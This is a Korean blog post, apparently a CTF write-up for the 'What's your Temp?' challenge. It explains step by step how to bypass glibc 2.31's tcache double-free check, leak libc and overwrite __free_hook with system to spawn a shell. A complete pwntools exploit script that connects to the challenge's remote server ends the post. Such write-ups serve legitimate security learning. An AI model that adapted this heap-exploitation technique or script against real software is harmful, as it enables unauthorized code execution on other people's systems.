상세 컨텐츠

본문 제목

[2020 Power of XX] What's your Temp? write up (glibc 2.31 double free bypass)

SYSTEM HACKING/CTF, etc

by koharin 2020. 12. 18. 21:11

본문

728x90
반응형

환경

 

 


Exploit Flow

1. tcache chunk, unsorted bin chunk, tcache chunk 차례로 create

 

 

마지막 chunk는 2번째 청크 free 시 top chunk와 합쳐지는 것을 방지하기 위해 할당

 

 

2. 첫번째 청크 free

 

 

 

- 청크 데이터를 확인해보면 ptr+0x8 부분에 e→key가 있는데, e→key는 Double Free를 검증하기 위한 tcache 포인터이다. 같은 청크가 이후에 해제되면 e→key를 확인하고 같으면 Double Free 에러 출력 후 비정상 종료된다. 

- 이 e→key 값을 조작할 수 있으면 Double Free 검증을 우회하고 같은 청크를 free하는 Double Free를 발생시켜 tcache와 fd에 같은 청크 포인터를 적어 fd를 원하는 주소로 덮으면 원하는 주소에 청크를 할당받을 수 있게된다.

 

 

3. 첫 번째 청크 데이터 Edit

 

 

free 되어도 데이터 초기화하지 않음.

이 점을 사용해서 e→key 값 바꾼다.

 

 

4. 첫 번째 청크 free (Double Free)

 

 

- fd에 정상적으로 자신 청크의 포인터가 적힌 것을 확인할 수 있다.

- 다음 할당 시 tcache에 있는 포인터에 할당 후 이후에 fd에 적힌 포인터에 청크 할당해줄 것이다.

 

 

5. libc leak: 두 번째 청크 free & 두 번째 청크 데이터 출력

 

 

0x420 사이즈이므로 tcache에서 수용하는 사이즈보다 커서 unsorted bin에 들어가게 되고, fd와 bk에 main arena 영역의 주소가 적힌다.

 

 

6. overwrite fd: 첫 번째 청크 데이터 Edit

 

 

처음에 Double Free 한 것으로 첫 번째 청크 fd에 청크 포인터가 적혀있다. fd를 __free_hook 주소로 바꾼다.

 

 

7. 청크 2개 할당

 

 

- 두 번째 청크는 __free_hook에 할당되고, 데이터는 system 주소를 준다.

- __free_hook 값이 system 주소로 덮힌다.

 

 

8. 세번째 청크 데이터를 '/bin/sh\x00'으로 Edit

 

 

이제 __free_hook이 system 함수 주소로 덮혔으므로, free(chunk pointer)를 system('/bin/sh')로 만들기 위해 세번째 청크 포인터 값에 '/bin/sh'를 적어놓는다.

 

 

9. 세번째 청크 free

 

 

청크 포인터를 가져와서 free(실질적으론 system 실행)하는데 청크 포인터에 '/bin/sh'가 적혀있어서 system('/bin/sh')를 하게 된다.


Exploit Code

#!/usr/bin/env python3 
from pwn import *

context.log_level = 'debug'
#p = process("./challenge")
p = remote('3.35.204.82', 20516)

def Create(choice, data):
    p.sendafter("> ", '1')
    p.sendafter("> ", str(choice))
    p.sendafter("\nGive your description: ", data)

def Leave(index):
    p.sendafter("> ", '2')
    p.sendafter("Index: ", str(index))

def View(index):
    p.sendafter("> ", '3')
    p.sendafter("Index: ", str(index))

def Edit(index, data):
    p.sendafter("> ", '4')
    p.sendafter("Index: ", str(index))
    p.sendafter("Data: ", data)


Create(1, 'A'*0x10) # tcache
Create(2, 'C'*0x10) # unsorted bin
Create(1, 'D'*0x10) #to avoid consolidate with topchunk

### Double Free ###
Leave(0)
Edit(0, p64(0) + p64(0x620)) # edit e->key: Double Free bypass
Leave(0) # Double Free without error

### libc leak ###
Leave(1) 
View(1)
p.recvuntil("Check your information.\n")
leak = u64(p.recvuntil('\x7f') + '\x00\x00'.encode())
log.info("leak: "+hex(leak))
libc_base = leak - 0x1c6be0
free_hook = libc_base + 0x1c9b28
system = libc_base + 0x30410
log.info("libc_base: "+hex(libc_base))
log.info("free_hook: "+hex(free_hook))
log.info("system: "+hex(system))

### overwrite fd ###
Edit(0, p64(free_hook))

Create(1, 'E'*0x8) # malloc in 1st chunk
Create(1, p64(system)) # malloc in __free_hook, write system to __free_hook
Edit(2, '/bin/sh\x00') # write /bin/sh to chunk pointer
#gdb.attach(p)

### system('/bin/sh\x00') ###
Leave(2) 

p.interactive()

728x90
반응형

관련글 더보기